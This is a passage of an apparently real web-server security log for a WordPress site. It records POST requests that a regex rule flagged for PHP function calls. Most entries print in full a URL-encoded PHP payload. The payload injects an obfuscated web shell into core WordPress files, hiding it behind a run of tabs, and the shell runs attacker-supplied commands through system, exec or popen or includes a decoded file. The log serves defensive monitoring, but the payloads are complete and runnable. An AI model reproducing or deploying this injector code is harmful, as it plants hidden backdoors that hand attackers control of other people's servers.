F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:42:12","213.209.159.254","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-blocks-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx66lag%2522%255D%2529%2529%257B%2520%2524factor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx66lag%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2527.%2527%252C%2524entry%2520%2529%2520%253B%2520%2524resource%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524entry%253B%2520while%2520%2528%2524v6%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524r%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524r%2525%252010%2529%2529%2520%255E%252038%253B%2520%2524resource%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520while%2520%2528%2524flg%2520%253D%2520array_shift%2528%2524factor%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524flg%2529%2520%252A%2520is_writable%2528%2524flg%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524resource%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:4627\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-blocks-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_POST%255B%2522%255Cx66lag%2522%255D%2529%2529%257B%2520%2524factor%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_POST%255B%2522%255Cx66lag%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2520%2528%2520%2527.%2527%252C%2524entry%2520%2529%2520%253B%2520%2524resource%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524r%2520%253D%25200%253B%2520%2524__tmp%2520%253D%2520%2524entry%253B%2520while%2520%2528%2524v6%2520%253D%2520array_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253D%2520ord%2528%2524s%255B%2524r%2525%2520%2524sLen%255D%2520%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v6%2520-%2520%2524sChar%2520-%2520%2528%2524r%2525%252010%2529%2529%2520%255E%252038%253B%2520%2524resource%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524r%252B%252B%253B%2520%257D%2520while%2520%2528%2524flg%2520%253D%2520array_shift%2528%2524factor%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524flg%2529%2520%252A%2520is_writable%2528%2524flg%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524flg%252C%2520%2522.holder%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524component%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524resource%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 15:42:13","213.209.159.254","POST","\/","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AY:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/home-link.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524settings2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520%2524settings5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524settings1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524settings4%2520%253D%2520%2522pass%255Cx74%255Cx68ru%2522%253B%2520%2524settings3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524settings7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524dataflow_engine%2520%253D%2520%2522%255Cx68%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524settings6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65a%255Cx6D_%255Cx67%255Cx65t_c%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2520%2528%2520%2524value%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524value%2529%2520as%2520%2524char%2529%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524ptr%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524dataflow_engine%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520core_engine%2528%2524descriptor%252C%252062%2529%253B%2520if%2520%2528function_exists%2528%2524settings1%2529%2529%2520%257B%2520%2524settings1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings2%2529%2529%2520%257B%2520print%2520%2524settings2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings3%2529%2529%2520%257B%2520%2524settings3%2528%2524descriptor%252C%2520%2524reference_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings4%2529%2529%2520%257B%2520%2524settings4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings5%2529%2520%2526%2526%2520function_exists%2528%2524settings6%2529%2520%2526%2526%2520function_exists%2528%2524settings7%2529%2529%2520%257B%2520%2524flg_ptr%2520%253D%2520%2524settings5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_ptr%2529%2520%257B%2520%2524object_token%2520%253D%2520%2524settings6%2528%2524flg_ptr%2529%253B%2520%2524settings7%2528%2524flg_ptr%2529%253B%2520print%2520%2524object_token%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDIxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-site:none\ncontent-length:5225\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\n\nAY=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/home-link.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524settings2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520%2524settings5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524settings1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524settings4%2520%253D%2520%2522pass%255Cx74%255Cx68ru%2522%253B%2520%2524settings3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524settings7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524dataflow_engine%2520%253D%2520%2522%255Cx68%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524settings6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65a%255Cx6D_%255Cx67%255Cx65t_c%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2520%2528%2520%2524value%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524value%2529%2520as%2520%2524char%2529%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524ptr%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524dataflow_engine%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520core_engine%2528%2524descriptor%252C%252062%2529%253B%2520if%2520%2528function_exists%2528%2524settings1%2529%2529%2520%257B%2520%2524settings1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings2%2529%2529%2520%257B%2520print%2520%2524settings2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings3%2529%2529%2520%257B%2520%2524settings3%2528%2524descriptor%252C%2520%2524reference_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings4%2529%2529%2520%257B%2520%2524settings4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings5%2529%2520%2526%2526%2520function_exists%2528%2524settings6%2529%2520%2526%2526%2520function_exists%2528%2524settings7%2529%2529%2520%257B%2520%2524flg_ptr%2520%253D%2520%2524settings5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_ptr%2529%2520%257B%2520%2524object_token%2520%253D%2520%2524settings6%2528%2524flg_ptr%2529%253B%2520%2524settings7%2528%2524flg_ptr%2529%253B%2520print%2520%2524object_token%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 15:42:36","217.217.254.45","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ue:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/home-link.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524settings2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520%2524settings5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524settings1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524settings4%2520%253D%2520%2522pass%255Cx74%255Cx68ru%2522%253B%2520%2524settings3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524settings7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524dataflow_engine%2520%253D%2520%2522%255Cx68%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524settings6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65a%255Cx6D_%255Cx67%255Cx65t_c%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2520%2528%2520%2524value%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524value%2529%2520as%2520%2524char%2529%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524ptr%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524dataflow_engine%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520core_engine%2528%2524descriptor%252C%252062%2529%253B%2520if%2520%2528function_exists%2528%2524settings1%2529%2529%2520%257B%2520%2524settings1%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings2%2529%2529%2520%257B%2520print%2520%2524settings2%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings3%2529%2529%2520%257B%2520%2524settings3%2528%2524descriptor%252C%2520%2524reference_value%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524reference_value%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings4%2529%2529%2520%257B%2520%2524settings4%2528%2524descriptor%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524settings5%2529%2520%2526%2526%2520function_exists%2528%2524settings6%2529%2520%2526%2526%2520function_exists%2528%2524settings7%2529%2529%2520%257B%2520%2524flg_ptr%2520%253D%2520%2524settings5%2528%2524descriptor%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524flg_ptr%2529%2520%257B%2520%2524object_token%2520%253D%2520%2524settings6%2528%2524flg_ptr%2529%253B%2520%2524settings7%2528%2524flg_ptr%2529%253B%2520print%2520%2524object_token%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:5225\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIJHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\naccept:*\/*\n\nUe=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/home-link.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524settings2%2520%253D%2520%2522s%255Cx68e%255Cx6Cl%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520%2524settings5%2520%253D%2520%2522po%255Cx70e%255Cx6E%2522%253B%2520%2524settings1%2520%253D%2520%2522%255Cx73%255Cx79s%255Cx74em%2522%253B%2520%2524settings4%2520%253D%2520%2522pass%255Cx74%255Cx68ru%2522%253B%2520%2524settings3%2520%253D%2520%2522%255Cx65xe%255Cx63%2522%253B%2520%2524settings7%2520%253D%2520%2522%255Cx70%255Cx63l%255Cx6Fse%2522%253B%2520%2524dataflow_engine%2520%253D%2520%2522%255Cx68%255Cx65%255Cx782b%255Cx69n%2522%253B%2520%2524settings6%2520%253D%2520%2522%255Cx73%255Cx74%255Cx72%255Cx65a%255Cx6D_%255Cx67%255Cx65t_c%255Cx6Fn%255Cx74e%255Cx6Ets%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%2529%2520%257B%2520function%2520core_engine%2520%2528%2520%2524value%2520%252C%2520%2524flg%2520%2529%2520%257B%2520%2524ptr%2520%253D%2520%2527%2527%2520%253B%2520foreach%2528str_split%2528%2524value%2529%2520as%2520%2524char%2529%257B%2520%2524ptr.%253Dchr%2528ord%2528%2524char%2529%255E%2524flg%2529%253B%2520%257D%2520return%2520%2524ptr%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2524dataflow_engine%2528%2524_POST%255B%2522%255Cx64e%255Cx73%255Cx63%255Cx72%255Cx69ptor%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520core_engine%2528%2524descriptor%252C%252062%2529%253B%2520if%2520%2528function_exists%